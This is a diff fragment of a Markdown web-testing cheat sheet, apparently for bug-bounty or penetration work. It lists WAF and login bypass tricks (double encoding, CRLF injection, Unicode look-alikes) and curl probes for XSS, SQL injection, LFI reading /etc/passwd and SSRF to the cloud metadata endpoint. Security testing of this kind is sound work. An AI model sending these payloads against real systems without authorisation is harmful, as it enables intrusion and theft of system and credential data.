310
|
+
```
|
|
311
|
+
|
|
312
|
+
### Bypass WAF
|
|
313
|
+
```
|
|
314
|
+
- Use HEAD instead of GET
|
|
315
|
+
- HTTP/0.9 (no Host required)
|
|
316
|
+
- Imperial colon: GET /:80/index.html
|
|
317
|
+
- Unicode variation: Ð instead of d
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
### Bypass Login
|
|
321
|
+
```
|
|
322
|
+
- Double encoding: %2527 instead of %27
|
|
323
|
+
- Unicode: Ð vs d
|
|
324
|
+
- CRLF injection: /login\r\nX-Rewrite
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
## Always Remember
|
|
328
|
+
|
|
329
|
+
1. **Test the UNEXPECTED** - Parameters you wouldn't think of
|
|
330
|
+
2. **Chain vulnerabilities** - One finding + another = critical
|
|
331
|
+
3. **Think like developer** - What would I miss?
|
|
332
|
+
4. **Check everything twice** - Burp Scanner finds 30%, you find 70%
|
|
333
|
+
5. **No is never no** - Try harder, try differently
|
|
334
|
+
|
|
335
|
+
## Interactive Testing Commands
|
|
336
|
+
|
|
337
|
+
When you need to verify manually:
|
|
338
|
+
|
|
339
|
+
```bash
|
|
340
|
+
# Test XSS manually
|
|
341
|
+
curl "https://target.com/search?q=<script>alert(1)</script>"
|
|
342
|
+
|
|
343
|
+
# Test SQLi manually
|
|
344
|
+
curl "https://target.com/id=1'"
|
|
345
|
+
|
|
346
|
+
# Test LFI manually
|
|
347
|
+
curl "https://target.com/file=../../../etc/passwd"
|
|
348
|
+
|
|
349
|
+
# Test SSRF manually
|
|
350
|
+
curl "http://target.com/?url=http://169.254.169.254/latest/meta-data"
|
|
351
|
+
```
|